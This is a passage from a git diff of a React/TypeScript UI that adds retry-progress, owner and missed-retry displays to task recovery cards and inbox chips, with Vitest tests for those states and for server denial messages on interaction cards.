+  it("stays quiet when the overdue attempt is a verified live run", () => {
+    const node = render(
+      <IssueRecoveryActionCard
+        action={buildSourceLaneAction({
+          wakePolicy: {
+            type: "bounded_owner_disposition_repair",
+            retryAgentId: returnAgent.id,
+            attempt: 2,
+            maxAttempts: 5,
+            retryAt: at(-5 * 60_000),
+            scheduledRunId: "00000000-0000-0000-0000-0000000000b2",
+          },
+          timeoutAt: at(-5 * 60_000),
+        })}
+        agentMap={bothAgents}
+        scheduledRetry={{
+          runId: "00000000-0000-0000-0000-0000000000b2",
+          status: "running",
+          agentId: returnAgent.id,
+          agentName: returnAgent.name,
+          retryOfRunId: null,
+          scheduledRetryAt: at(-5 * 60_000),
+          scheduledRetryAttempt: 2,
+          scheduledRetryReason: null,
+        }}
+      />,
+    );
+    const section = node.querySelector("section[aria-label]");
+    expect(section?.getAttribute("data-recovery-state")).toBe("in_progress");
+    expect(node.querySelector("[data-testid='recovery-next-retry']")?.textContent).toBe(
+      "Attempt running now",
+    );
+    expect(node.textContent).not.toContain("Retry missed");
+  });
+
+  it("keeps timing in the retry-progress row only while a lane is live", () => {
+    const node = render(
+      <IssueRecoveryActionCard action={buildSourceLaneAction()} agentMap={bothAgents} />,
+    );
+    expect(node.textContent).toContain("Paperclip is retrying the original owner");
+    expect(node.textContent).not.toContain("Times out");
+  });
+
+  it("shows the board escalation without implying the board owns the task", () => {
+    const node = render(
+      <IssueRecoveryActionCard
+        action={buildSourceLaneAction({
+          status: "escalated",
+          ownerType: "board",
+          ownerAgentId: null,
+          evidence: { sourceAttemptCount: 5, sourceMaxAttempts: 5 },
+          wakePolicy: {
+            type: "board_escalation",
+            reason: "recovery_owner_retry_exhausted",
+            attempt: 3,
+            maxAttempts: 3,
+            preservesSourceAssignee: true,
+          },
+          attemptCount: 3,
+          maxAttempts: 3,
+          timeoutAt: null,
+        })}
+        agentMap={bothAgents}
+      />,
+    );
+    const section = node.querySelector("section[aria-label]");
+    expect(section?.getAttribute("data-recovery-state")).toBe("escalated");
+    expect(section?.getAttribute("data-recovery-lane")).toBe("board");
+    expect(node.textContent).toContain("Automatic recovery is exhausted");
+    const recoveryOwner = node.querySelector("[data-testid='recovery-recovery-owner']");
+    expect(recoveryOwner?.textContent).toContain("Board");
+    expect(recoveryOwner?.textContent).toContain("decides the next step only");
+    expect(
+      node.querySelector("[data-testid='recovery-source-owner']")?.textContent,
+    ).toContain("CodexCoder");
+  });
+
+  it("leaves kinds without a bounded lineage on the original single owner row", () => {
+    const node = render(
+      <IssueRecoveryActionCard action={buildAction()} agentMap={bothAgents} />,
+    );
+    expect(node.querySelector("section[aria-label]")?.getAttribute("data-recovery-lane")).toBeNull();
+    expect(node.querySelector("[data-testid='recovery-retry-progress']")).toBeNull();
+    expect(node.querySelector("[data-testid='recovery-source-owner']")).toBeNull();
+    expect(node.textContent).toContain("→ Returns to:");
+  });
+});
diff --git a/ui/src/components/IssueRecoveryActionCard.tsx b/ui/src/components/IssueRecoveryActionCard.tsx
index 6ce46fc2a75..fda6fa6da66 100644
--- a/ui/src/components/IssueRecoveryActionCard.tsx
+++ b/ui/src/components/IssueRecoveryActionCard.tsx
@@ -6,6 +6,7 @@ import type {
   IssueRecoveryActionKind,
   IssueRecoveryActionOutcome,
   IssueRecoveryActionStatus,
+  IssueScheduledRetry,
 } from "@paperclipai/shared";
 import {
   Eye,
@@ -35,6 +36,12 @@ import {
   deriveRecoveryDisplayState,
   type RecoveryDisplayState,
 } from "@/lib/recovery-display";
+import {
+  formatRecoveryAttemptLabel,
+  formatRecoveryRetryOffset,
+  readRecoveryRetryLineage,
+  type RecoveryRetryLineage,
+} from "@/lib/recovery-lineage";
 
 export type RecoveryCardCardState = RecoveryDisplayState;
 export const deriveRecoveryCardState = deriveRecoveryDisplayState;
@@ -61,6 +68,12 @@ export interface RecoveryReissueRequest {
 export interface IssueRecoveryActionCardProps {
   action: IssueRecoveryAction;
   agentMap?: ReadonlyMap<string, Agent>;
+  /**
+   * The source issue's scheduled retry. It is the only signal that can confirm the run the
+   * wake policy parked is genuinely in flight, which is what separates a retry the scheduler
+   * is running from one whose due time quietly passed.
+   */
+  scheduledRetry?: IssueScheduledRetry | null;
   /** Preferred state hint (e.g. observe_only when watchdog tone is requested). Falls back to derived state. */
   forcedState?: RecoveryCardCardState;
   /** Optional click handler for resolve menu actions. If omitted, the buttons are not rendered. */
@@ -116,6 +129,7 @@ export interface IssueRecoveryActionCardProps {
 
 const KIND_LABEL: Record<IssueRecoveryActionKind, string> = {
   missing_disposition: "Missing Disposition",
+  deliberate_wait_without_target: "Wait Without A Target",
   stranded_assigned_issue: "Stranded Task",
   workspace_validation: "Workspace Validation",
   configuration_validation: "Configuration Validation",
@@ -126,6 +140,8 @@ const KIND_LABEL: Record<IssueRecoveryActionKind, string> = {
 const KIND_HEADLINE: Record<IssueRecoveryActionKind, string> = {
   missing_disposition:
     "This task's run finished, but no next step was chosen. Choose what happens next — try the task again, mark it done, or send it for review.",
+  deliberate_wait_without_target:
+    "This task's last run stopped to wait, but there is no reviewer, blocker, monitor, or approval to wait for. Paperclip is repairing the next step; the task stays with its owner.",
   stranded_assigned_issue:
     "Paperclip retried this task's last run, but there is still no queued run, reviewer, blocker, or other next owner. To get it moving, choose what happens next — try the task again, mark it done, or send it for review.",
   workspace_validation:
@@ -138,6 +154,10 @@ const KIND_HEADLINE: Record<IssueRecoveryActionKind, string> = {
     "Paperclip could not find a clear next step for this open task. Choose whether to continue work, send it for review, mark it done, or record what is blocking it.",
 };
 
+/** Shared shell for the retry-timing pill so every timing state reads as the same control. */
+const RETRY_PILL_CLASS =
+  "rounded-md border border-border/50 bg-background/60 px-1.5 py-0.5 text-(length:--text-micro) text-muted-foreground";
+
 const STATE_TONE: Record<RecoveryCardCardState, {
   label: string;
   containerClass: string;
@@ -739,6 +759,10 @@ function readWakePolicySummary(action: IssueRecoveryAction): string | null {
   const type = readEvidenceString(policy.type);
   if (!type) return null;
   if (type === "wake_owner") return "An agent will be asked to choose the next step";
+  if (type === "bounded_owner_disposition_repair") {
+    return "Paperclip is retrying the original owner";
+  }
+  if (type === "bounded_recovery_owner") return "A recovery owner is repairing the next step";
   if (type === "board_escalation") return "Board will decide";
   if (type === "manual") return "Manual follow-up needed";
   if (type === "manual_repair_required") return "Repair needed before retry";
@@ -859,6 +883,59 @@ function RunChip({
   return <span className="inline-flex items-center gap-2">{inner}</span>;
 }
 
+function formatTimeAbsolute(value: string | Date | null | undefined): string | null {
+  if (!value) return null;
+  const date = value instanceof Date ? value : new Date(value);
+  if (Number.isNaN(date.getTime())) return null;
+  return date.toLocaleString(undefined, {
+    month: "short",
+    day: "numeric",
+    hour: "numeric",
+    minute: "2-digit",
+  });
+}
+
+/**
+ * Headline for an action carrying a bounded retry lineage. It names who keeps the task in
+ * every phase, because a manager owning the repair must never read as a manager owning
+ * the deliverable.
+ */
+function lineageHeadline(lineage: RecoveryRetryLineage): string {
+  // An attempt that came due and never ran leaves nobody working on this task, even though
+  // attempts remain on paper. Say so before any lane wording that ends in "no action needed".
+  if (lineage.retryExpired) {
+    return "This task's automatic retry came due and did not run, so nothing is moving it forward right now. Someone must retry it or record the next step. The task stays with its original owner.";
+  }
+  if (lineage.lane === "source_owner") {
+    return lineage.exhausted
+      ? "This task's last run stopped to wait, but nothing was waiting for it. The original owner has used every automatic repair attempt, so the next step needs a decision. The task stays with its owner."
+      : "This task's last run stopped to wait, but nothing was waiting for it. Paperclip is retrying the original owner to record a real next step. The task stays with its owner, and no action is needed yet.";
+  }
+  if (lineage.lane === "recovery_owner") {
+    return "The original owner could not record a next step within its retry budget. A recovery owner is now repairing the path only — the task itself still belongs to its original owner.";
+  }
+  return "Automatic recovery is exhausted, so the board must choose the next step. The task itself still belongs to its original owner.";
+}
+
+/** Spent/remaining attempts as pips. The readable count lives beside it in text. */
+function AttemptMeter({ lineage }: { lineage: RecoveryRetryLineage }) {
+  if (lineage.maxAttempts === null || lineage.maxAttempts > 12) return null;
+  const spent = Math.min(lineage.attempt, lineage.maxAttempts);
+  return (
+    <span className="inline-flex items-center gap-1" aria-hidden>
+      {Array.from({ length: lineage.maxAttempts }, (_, index) => (
+        <span
+          key={index}
+          className={cn(
+            "size-1.5 rounded-full",
+            index < spent ? "bg-current opacity-80" : "bg-current opacity-25",
+          )}
+        />
+      ))}
+    </span>
+  );
+}
+
 const RESOLVE_OPTIONS: Array<{
   outcome: RecoveryResolveOutcome;
   label: string;
@@ -900,6 +977,7 @@ const RESOLVE_OPTIONS: Array<{
 export function IssueRecoveryActionCard({
   action,
   agentMap,
+  scheduledRetry = null,
   forcedState,
   onResolve,
   onReissueIsolated,
@@ -914,24 +992,44 @@ export function IssueRecoveryActionCard({
   variant = "full",
   className,
 }: IssueRecoveryActionCardProps) {
-  const cardState: RecoveryCardCardState = forcedState ?? deriveRecoveryCardState(action);
+  const liveness = useMemo(() => ({ scheduledRetry }), [scheduledRetry]);
+  const cardState: RecoveryCardCardState = forcedState ?? deriveRecoveryCardState(action, liveness);
   const tone = STATE_TONE[cardState];
   const ToneIcon = tone.Icon;
   const divergence = useMemo(() => readWorkspaceDivergence(action), [action]);
+  const lineage = useMemo(() => readRecoveryRetryLineage(action, liveness), [action, liveness]);
 
   const headline = useMemo(() => {
     if (cardState === "resolved" && action.outcome) {
       return `Recovery resolved as ${OUTCOME_LABEL[action.outcome] ?? action.outcome}.`;
     }
+    if (lineage) return lineageHeadline(lineage);
     return KIND_HEADLINE[action.kind] ?? KIND_HEADLINE.missing_disposition;
-  }, [action.kind, action.outcome, cardState]);
+  }, [action.kind, action.outcome, cardState, lineage]);
 
-  const wakeSummary = readWakePolicySummary(action);
+  // A lane with no path left must not keep advertising a retry that will never run — whether
+  // the budget ran out or the scheduled attempt simply never fired.
+  const wakeSummary = lineage?.retryExpired
+    ? "The scheduled retry did not run — a retry or a decision is needed"
+    : lineage?.exhausted && lineage.lane !== "board"
+    ? "Automatic retries are finished — a decision is needed"
+    : readWakePolicySummary(action);
   const evidenceSummary = pickEvidenceSummary(action);
   const sourceRunId = readEvidenceRunId(action, "sourceRunId") ?? readEvidenceRunId(action, "latestRunId");
   const correctiveRunId = readEvidenceRunId(action, "correctiveRunId");
-  const showAttempt = action.attemptCount > 1 && action.maxAttempts !== null;
+  // The lineage rows below already carry the attempt budget, so the generic chip only
+  // covers actions without one.
+  const showAttempt = !lineage && action.attemptCount > 1 && action.maxAttempts !== null;
+  const sourceOwnerAgentId = action.returnOwnerAgentId ?? action.previousOwnerAgentId;
+  const recoveryOwnerIsSourceOwner =
+    action.ownerType === "agent" &&
+    action.ownerAgentId !== null &&
+    action.ownerAgentId === sourceOwnerAgentId;
+  const retryOffset = lineage ? formatRecoveryRetryOffset(lineage) : null;
+  const attemptLabel = lineage ? formatRecoveryAttemptLabel(lineage) : null;
   const showTimeoutInline = (() => {
+    // The retry-progress row is the single place a lineage reports its timing.
+    if (lineage) return false;
     if (!action.timeoutAt) return false;
     try {
       const date = action.timeoutAt instanceof Date ? action.timeoutAt : new Date(action.timeoutAt);
@@ -1007,6 +1105,7 @@ export function IssueRecoveryActionCard({
       aria-label={`Recovery action: ${ariaState}`}
       data-recovery-state={cardState}
       data-recovery-kind={action.kind}
+      data-recovery-lane={lineage?.lane}
       className={cn(
         "relative w-full overflow-hidden rounded-lg border text-sm shadow-(--shadow-extract-8)",
         tone.containerClass,
@@ -1044,6 +1143,99 @@ export function IssueRecoveryActionCard({
       </header>
       {variant === "compact" ? null : (
       <dl className={cn("border-t bg-background/40 dark:bg-background/20", tone.divider)}>
+        {lineage ? (
+          <>
+            <MetadataRow label="Task owner">
+              <span
+                className="inline-flex flex-wrap items-center gap-1.5"
+                data-testid="recovery-source-owner"
+              >
+                <AgentLink
+                  agentId={sourceOwnerAgentId}
+                  agentMap={agentMap}
+                  fallback="unassigned"
+                />
+                <span className="text-muted-foreground">keeps this task</span>
+              </span>
+            </MetadataRow>
+            <MetadataRow label="Recovery owner">
+              <span
+                className="inline-flex flex-wrap items-center gap-1.5"
+                data-testid="recovery-recovery-owner"
+              >
+                {recoveryOwnerIsSourceOwner ? (
+                  <span className="font-medium">Original owner — retrying itself</span>
+                ) : action.ownerType === "agent" && action.ownerAgentId ? (
+                  <>
+                    <AgentLink agentId={action.ownerAgentId} agentMap={agentMap} />
+                    <span className="text-muted-foreground">repairs the next step only</span>
+                  </>
+                ) : action.ownerType === "board" ? (
+                  <>
+                    <span className="font-medium">Board</span>
+                    <span className="text-muted-foreground">decides the next step only</span>
+                  </>
+                ) : action.ownerType === "user" && action.ownerUserId ? (
+                  <span className="font-medium">user {action.ownerUserId.slice(0, 6)}</span>
+                ) : (
+                  <span className="text-muted-foreground">unassigned — pick one to wake them</span>
+                )}
+              </span>
+            </MetadataRow>
+            <MetadataRow label="Retry progress">
+              <span
+                className="inline-flex flex-wrap items-center gap-x-2 gap-y-1"
+                data-testid="recovery-retry-progress"
+                data-recovery-lane={lineage.lane}
+                data-recovery-attempt={lineage.attempt}
+                data-recovery-max-attempts={lineage.maxAttempts ?? undefined}
+              >
+                <AttemptMeter lineage={lineage} />
+                <span>{attemptLabel ?? "Attempts not bounded"}</span>
+                {lineage.liveRunId ? (
+                  <span
+                    className={RETRY_PILL_CLASS}
+                    title={formatTimeAbsolute(lineage.nextRetryAt) ?? undefined}
+                    data-testid="recovery-next-retry"
+                  >
+                    Attempt running now
+                  </span>
+                ) : lineage.retryExpired ? (
+                  // The due time is stated plainly as missed. Rendering it as "Next try 5m
+                  // ago" is what made an abandoned lane read as healthy recovery.
+                  <span
+                    className={cn(RETRY_PILL_CLASS, "border-destructive/50 bg-destructive/10 text-destructive")}
+                    title={formatTimeAbsolute(lineage.nextRetryAt) ?? undefined}
+                    data-testid="recovery-next-retry"
+                    data-recovery-retry-expired="true"
+                  >
+                    {retryOffset ? `Retry missed ${retryOffset}` : "Retry missed"}
+                  </span>
+                ) : retryOffset ? (
+                  <span
+                    className={RETRY_PILL_CLASS}
+                    title={formatTimeAbsolute(lineage.nextRetryAt) ?? undefined}
+                    data-testid="recovery-next-retry"
+                  >
+                    {retryOffset === "now" ? "Next try now" : `Next try ${retryOffset}`}
+                  </span>
+                ) : lineage.exhausted ? (
+                  <span className={RETRY_PILL_CLASS} data-testid="recovery-next-retry">
+                    Automatic retries used up
+                  </span>
+                ) : null}
+              </span>
+            </MetadataRow>
+            {lineage.lane !== "source_owner" && lineage.sourceMaxAttempts !== null ? (
+              <MetadataRow label="Owner retries">
+                <span data-testid="recovery-source-attempts">
+                  The original owner used {lineage.sourceAttempt ?? lineage.sourceMaxAttempts} of{" "}
+                  {lineage.sourceMaxAttempts} automatic attempts.
+                </span>
+              </MetadataRow>
+            ) : null}
+          </>
+        ) : (
         <MetadataRow label="Owner">
           <span className="inline-flex flex-wrap items-center gap-1.5">
             {action.ownerType === "agent" && action.ownerAgentId ? (
@@ -1068,6 +1260,7 @@ export function IssueRecoveryActionCard({
             ) : null}
           </span>
         </MetadataRow>
+        )}
         <MetadataRow label="Source run">
           <RunChip runId={sourceRunId} agentId={action.previousOwnerAgentId} />
         </MetadataRow>
diff --git a/ui/src/components/IssueRow.test.tsx b/ui/src/components/IssueRow.test.tsx
index a3ef0343aa8..b31dfeca8f4 100644
--- a/ui/src/components/IssueRow.test.tsx
+++ b/ui/src/components/IssueRow.test.tsx
@@ -104,7 +104,13 @@ describe("IssueRow", () => {
       root.render(<IssueRow issue={createIssue({ status: "in_progress" })} />);
     });
 
-    const glyphs = container.querySelectorAll('svg[viewBox="0 0 24 24"]');
+    // jsdom 30 does not value-match a CSS attribute selector against a
+    // mixed-case SVG attribute name, so `svg[viewBox="0 0 24 24"]` matches
+    // nothing. Select the glyph SVGs by attribute presence, then compare the
+    // viewBox value with getAttribute to keep the exact-value assertion.
+    const glyphs = Array.from(container.querySelectorAll("svg[viewBox]")).filter(
+      (svg) => svg.getAttribute("viewBox") === "0 0 24 24",
+    );
     expect(glyphs.length).toBeGreaterThan(0);
     glyphs.forEach((glyph) => {
       expect(glyph.getAttribute("width")).toBe("16");
@@ -523,4 +529,112 @@ describe("IssueRow", () => {
       root.unmount();
     });
   });
+
+  describe("recovery chip liveness", () => {
+    const NOW = new Date("2026-08-18T12:00:00.000Z");
+
+    beforeEach(() => {
+      vi.useFakeTimers();
+      vi.setSystemTime(NOW);
+    });
+
+    afterEach(() => {
+      vi.useRealTimers();
+    });
+
+    function at(offsetMs: number) {
+      return new Date(NOW.getTime() + offsetMs).toISOString();
+    }
+
+    function recoveryIssue(retryAt: string, scheduledRetry: Issue["scheduledRetry"] = null): Issue {
+      return createIssue({
+        status: "in_progress",
+        scheduledRetry,
+        activeRecoveryAction: {
+          id: "action-1",
+          companyId: "company-1",
+          sourceIssueId: "issue-1",
+          recoveryIssueId: null,
+          kind: "deliberate_wait_without_target",
+          status: "active",
+          ownerType: "agent",
+          ownerAgentId: "agent-owner",
+          ownerUserId: null,
+          previousOwnerAgentId: "agent-owner",
+          returnOwnerAgentId: "agent-owner",
+          cause: "deliberate_wait_without_target",
+          fingerprint: "fp",
+          evidence: {},
+          nextAction: "Record a real next step.",
+          wakePolicy: {
+            type: "bounded_owner_disposition_repair",
+            retryAgentId: "agent-owner",
+            attempt: 1,
+            maxAttempts: 5,
+            retryAt,
+            scheduledRunId: "run-2",
+          },
+          monitorPolicy: null,
+          attemptCount: 1,
+          maxAttempts: 5,
+          timeoutAt: retryAt,
+          lastAttemptAt: retryAt,
+          outcome: null,
+          resolutionNote: null,
+          resolvedAt: null,
+          createdAt: at(-10 * 60_000),
+          updatedAt: at(-10 * 60_000),
+        },
+      });
+    }
+
+    function renderChip(issue: Issue): HTMLElement | null {
+      const root = createRoot(container);
+      act(() => {
+        root.render(<IssueRow issue={issue} />);
+      });
+      const chip = container.querySelector<HTMLElement>(
+        "[data-testid='issue-row-recovery-indicator']",
+      );
+      const snapshot = chip?.cloneNode(true) as HTMLElement | null;
+      act(() => {
+        root.unmount();
+      });
+      return snapshot;
+    }
+
+    it("stays calm while the next attempt is still ahead", () => {
+      const chip = renderChip(recoveryIssue(at(3 * 60_000)));
+      expect(chip?.getAttribute("data-recovery-state")).toBe("in_progress");
+      expect(chip?.getAttribute("aria-label")).toContain("next try in 3m");
+    });
+
+    it("warns once the stored attempt came due and never ran", () => {
+      // The inbox chip must reach the same verdict as the source card, so a parent scanning
+      // the inbox is not told recovery is running when nothing is.
+      const chip = renderChip(recoveryIssue(at(-5 * 60_000)));
+      expect(chip?.getAttribute("data-recovery-state")).toBe("needed");
+      const label = chip?.getAttribute("aria-label") ?? "";
+      expect(label).toContain("Recovery needed");
+      expect(label).toContain("retry missed 5m ago");
+      expect(label).not.toContain("next try");
+    });
+
+    it("stays calm when the overdue attempt is a verified live run", () => {
+      const chip = renderChip(
+        recoveryIssue(at(-5 * 60_000), {
+          runId: "run-2",
+          status: "running",
+          agentId: "agent-owner",
+          agentName: "CodexCoder",
+          retryOfRunId: null,
+          scheduledRetryAt: at(-5 * 60_000),
+          scheduledRetryAttempt: 1,
+          scheduledRetryReason: null,
+        }),
+      );
+      expect(chip?.getAttribute("data-recovery-state")).toBe("in_progress");
+      expect(chip?.getAttribute("aria-label")).toContain("attempt running now");
+    });
+  });
 });
diff --git a/ui/src/components/IssueRow.tsx b/ui/src/components/IssueRow.tsx
index bcede8f1ddc..b383670cc3d 100644
--- a/ui/src/components/IssueRow.tsx
+++ b/ui/src/components/IssueRow.tsx
@@ -13,6 +13,11 @@ import {
   RECOVERY_CHIP_DEFAULT_TONE,
   recoveryChipLabel,
 } from "../lib/recovery-display";
+import {
+  formatRecoveryLineageSummary,
+  readRecoveryRetryLineage,
+  type RecoveryLivenessContext,
+} from "../lib/recovery-lineage";
 import { StatusIcon } from "./StatusIcon";
 import { productivityReviewTriggerLabel } from "./ProductivityReviewBadge";
 import { hasAssignedBacklogBlocker } from "../lib/issue-blockers";
@@ -61,6 +66,38 @@ interface IssueRowProps {
   showDivider?: boolean;
 }
 
+export function InboxArchiveButton({
+  onArchive,
+  disabled,
+}: {
+  onArchive: () => void;
+  disabled?: boolean;
+}) {
+  return (
+    <button
+      type="button"
+      data-slot="icon-button"
+      onClick={(event) => {
+        event.preventDefault();
+        event.stopPropagation();
+        onArchive();
+      }}
+      onKeyDown={(event) => {
+        if (event.key !== "Enter" && event.key !== " ") return;
+        event.preventDefault();
+        event.stopPropagation();
+        onArchive();
+      }}
+      disabled={disabled}
+      className="inline-flex shrink-0 items-center gap-1.5 rounded-md px-2 py-1 text-xs font-medium text-muted-foreground opacity-0 transition-opacity hover:bg-accent hover:text-foreground group-hover:opacity-100 focus-visible:opacity-100 disabled:pointer-events-none disabled:opacity-30"
+      aria-label="Archive"
+    >
+      <Archive className="h-3.5 w-3.5" />
+      Archive
+    </button>
+  );
+}
+
 export function IssueRow({
   issue,
   issueLinkState,
@@ -149,7 +186,11 @@ export function IssueRow({
     </span>
   ) : null;
   const recoveryAction = issue.activeRecoveryAction ?? null;
-  const recoveryIndicator = recoveryAction ? renderRecoveryChip(recoveryAction, selected) : null;
+  // The row already carries the issue's own scheduled retry, so the chip can tell a retry the
+  // scheduler is actually running from one whose due time simply passed.
+  const recoveryIndicator = recoveryAction
+    ? renderRecoveryChip(recoveryAction, selected, { scheduledRetry: issue.scheduledRetry ?? null })
+    : null;
   const parkedBlockerIndicator = hasAssignedBacklogBlocker(issue.blockedBy) ? (
     <Badge variant="outline"
       data-testid="issue-row-parked-blocker"
@@ -292,27 +333,7 @@ export function IssueRow({
       {(onArchive || desktopTrailing || trailingMeta || externalObjectSummary) ? (
         <span className="ml-auto hidden shrink-0 items-center gap-2 sm:order-3 sm:flex sm:gap-3">
           {onArchive ? (
-            <button
-              type="button"
-              data-slot="icon-button"
-              onClick={(event) => {
-                event.preventDefault();
-                event.stopPropagation();
-                onArchive();
-              }}
-              onKeyDown={(event) => {
-                if (event.key !== "Enter" && event.key !== " ") return;
-                event.preventDefault();
-                event.stopPropagation();
-                onArchive();
-              }}
-              disabled={archiveDisabled}
-              className="inline-flex shrink-0 items-center gap-1.5 rounded-md px-2 py-1 text-xs font-medium text-muted-foreground opacity-0 transition-opacity hover:bg-accent hover:text-foreground group-hover:opacity-100 focus-visible:opacity-100 disabled:pointer-events-none disabled:opacity-30"
-              aria-label="Archive"
-            >
-              <Archive className="h-3.5 w-3.5" />
-              Archive
-            </button>
+            <InboxArchiveButton onArchive={onArchive} disabled={archiveDisabled} />
           ) : null}
           {externalObjectSummary ? (
             <ExternalObjectStatusSummary summary={externalObjectSummary} compact />
@@ -335,25 +356,34 @@ export function IssueRow({
   );
 }
 
-function renderRecoveryChip(action: IssueRecoveryAction, selected: boolean): ReactNode {
-  const state = deriveActiveRecoveryDisplayState(action);
+function renderRecoveryChip(
+  action: IssueRecoveryAction,
+  selected: boolean,
+  liveness: RecoveryLivenessContext,
+): ReactNode {
+  const state = deriveActiveRecoveryDisplayState(action, liveness);
   if (!state) return null;
   const tone = RECOVERY_CHIP_DEFAULT_TONE[state];
   const Icon = tone.icon;
-  const label = recoveryChipLabel(state, action.kind);
+  const lineage = readRecoveryRetryLineage(action, liveness);
+  const label = recoveryChipLabel(state, action.kind, lineage);
+  const detail = lineage ? formatRecoveryLineageSummary(lineage) : null;
   return (
     <Badge variant="outline"
       data-testid="issue-row-recovery-indicator"
       data-recovery-state={state}
       data-recovery-kind={action.kind}
+      data-recovery-lane={lineage?.lane}
       role="status"
-      aria-label={label}
+      aria-label={detail ? `${label} — ${detail}` : label}
       className={cn(
         "ml-1.5 gap-0.5 text-(length:--text-nano)",
         tone.className,
         selected ? "!border-muted-foreground !text-muted-foreground" : null,
       )}
-      title={`${label} — open the source task to act.`}
+      title={detail
+        ? `${label} — ${detail}. Open the source task to act.`
+        : `${label} — open the source task to act.`}
     >
       <Icon className="h-2.5 w-2.5" aria-hidden />
       {label}
diff --git a/ui/src/components/IssueThreadInteractionCard.test.tsx b/ui/src/components/IssueThreadInteractionCard.test.tsx
index 2f655bcb017..3995a58cdfc 100644
--- a/ui/src/components/IssueThreadInteractionCard.test.tsx
+++ b/ui/src/components/IssueThreadInteractionCard.test.tsx
@@ -4,6 +4,8 @@ import { act as reactAct, type ComponentProps, type ReactNode } from "react";
 import { flushSync } from "react-dom";
 import { createRoot, type Root } from "react-dom/client";
 import { afterEach, describe, expect, it, vi } from "vitest";
+import type { Agent } from "@paperclipai/shared";
+import { ApiError } from "../api/client";
 import { IssueThreadInteractionCard } from "./IssueThreadInteractionCard";
 import { ThemeProvider } from "../context/ThemeContext";
 import { TooltipProvider } from "./ui/tooltip";
@@ -21,6 +23,11 @@ import {
   pendingRequestConfirmationInteraction,
   pendingToolActionDestructiveInteraction,
   pendingToolActionWriteInteraction,
+  pendingSecretProposalInteraction,
+  executedSecretProposalInteraction,
+  failedSecretProposalInteraction,
+  rejectedSecretProposalInteraction,
+  expiredSecretProposalInteraction,
   planApprovalResumeFailedRequestConfirmationInteraction,
   pendingRequestItemVerdictsInteraction,
   pendingSuggestedTasksInteraction,
@@ -33,6 +40,10 @@ import {
   agentResolvedRequestConfirmationInteraction,
   withdrawnRequestConfirmationInteraction,
   issueClosedRequestConfirmationInteraction,
+  notCreatorRequestConfirmationInteraction,
+  humanOnlyRequestConfirmationInteraction,
+  companyCappedRequestConfirmationInteraction,
+  legacyRestrictedRequestConfirmationInteraction,
 } from "../fixtures/issueThreadInteractionFixtures";
 
 let root: Root | null = null;
@@ -507,6 +518,114 @@ describe("IssueThreadInteractionCard", () => {
     );
   });
 
+  // PAP-17287: a denial is persistent, so the inline error keeps the server's
+  // reason and names who can respond instead of offering a doomed retry.
+  it("keeps the server denial reason in an aria-live region when a confirmation is refused", async () => {
+    const onAcceptInteraction = vi.fn(async () => {
+      throw new ApiError("This issue-thread interaction is human-only", 403, {
+        error: "This issue-thread interaction is human-only",
+        code: "interaction_human_only",
+      });
+    });
+    const host = renderCard({
+      interaction: humanOnlyRequestConfirmationInteraction,
+      onAcceptInteraction,
+    });
+
+    const confirmButton = Array.from(host.querySelectorAll("button")).find((button) =>
+      button.textContent?.includes("Approve"),
+    );
+    await act(async () => {
+      confirmButton?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    const error = host.querySelector('[data-testid="interaction-action-error"]');
+    expect(error?.getAttribute("aria-live")).toBe("assertive");
+    expect(error?.textContent).toContain("This issue-thread interaction is human-only.");
+    expect(error?.textContent).toContain("Only the board can respond.");
+    expect(error?.textContent).not.toMatch(/try again/i);
+    // PAP-17289: one live region, not two. `role="alert"` is itself an
+    // assertive live region, so nesting it inside this wrapper can announce the
+    // same denial twice.
+    expect(error?.querySelector('[role="alert"]')).toBeNull();
+    expect(host.querySelectorAll('[aria-live], [role="alert"]').length).toBe(1);
+  });
+
+  it("still offers a retry when a resolution fails for a transient reason", async () => {
+    const onAcceptInteraction = vi.fn(async () => {
+      throw new ApiError("Request failed: 503", 503, null);
+    });
+    const host = renderCard({
+      interaction: pendingRequestConfirmationInteraction,
+      onAcceptInteraction,
+    });
+
+    await act(async () => {
+      Array.from(host.querySelectorAll("button"))
+        .find((button) => button.textContent?.includes("Approve plan"))
+        ?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    expect(
+      host.querySelector('[data-testid="interaction-action-error"]')?.textContent,
+    ).toBe("Request failed: 503. Try again.");
+  });
+
+  it("surfaces a denied suggested-task acceptance instead of failing silently", async () => {
+    const onAcceptInteraction = vi.fn(async () => {
+      throw new ApiError("Only the addressed agent or an authorized human may resolve this issue-thread interaction", 403, {
+        error: "Only the addressed agent or an authorized human may resolve this issue-thread interaction",
+        code: "interaction_addressee_mismatch",
+      });
+    });
+    const host = renderCard({
+      interaction: pendingSuggestedTasksInteraction,
+      onAcceptInteraction,
+    });
+
+    await act(async () => {
+      Array.from(host.querySelectorAll("button"))
+        .find((button) => button.textContent?.includes("Accept"))
+        ?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    const error = host.querySelector('[data-testid="interaction-action-error"]');
+    expect(error?.getAttribute("aria-live")).toBe("assertive");
+    expect(error?.textContent).toContain("may resolve this issue-thread interaction.");
+  });
+
+  it("surfaces a denied answer submission on a questions card", async () => {
+    const onSubmitInteractionAnswers = vi.fn(async () => {
+      throw new ApiError("This issue-thread interaction is human-only", 403, {
+        error: "This issue-thread interaction is human-only",
+        code: "interaction_human_only",
+      });
+    });
+    const host = renderCard({
+      interaction: pendingAskUserQuestionsInteraction,
+      onSubmitInteractionAnswers,
+    });
+
+    // Answer every question so Submit is enabled, then submit.
+    for (const group of ['[role="radio"]', '[role="checkbox"]']) {
+      const option = host.querySelector(group);
+      await act(async () => {
+        (option as HTMLElement | null)?.click();
+      });
+    }
+    const submit = Array.from(host.querySelectorAll("button")).find((button) =>
+      button.textContent?.includes("Send answers"),
+    );
+    expect(submit?.hasAttribute("disabled")).toBe(false);
+    await act(async () => {
+      submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+
+    expect(
+      host.querySelector('[data-testid="interaction-action-error"]')?.textContent,
+    ).toContain("This issue-thread interaction is human-only.");
+  });
+
   it("standardizes the bare-reject button to Reject even when the payload carries a legacy rejectLabel", () => {
     const host = renderCard({
       interaction: {
@@ -1002,4 +1121,184 @@ describe("IssueThreadInteractionCard tool-action card", () => {
     const occurrences = (host.textContent ?? "").split(label).length - 1;
     expect(occurrences).toBe(1);
   });
+
+});
+
+describe("IssueThreadInteractionCard secret-proposal card", () => {
+  it("renders only safe proposal metadata and exposes accept/reject actions", async () => {
+    const onAcceptInteraction = vi.fn(async () => undefined);
+    const onRejectInteraction = vi.fn(async () => undefined);
+    const host = renderCard({
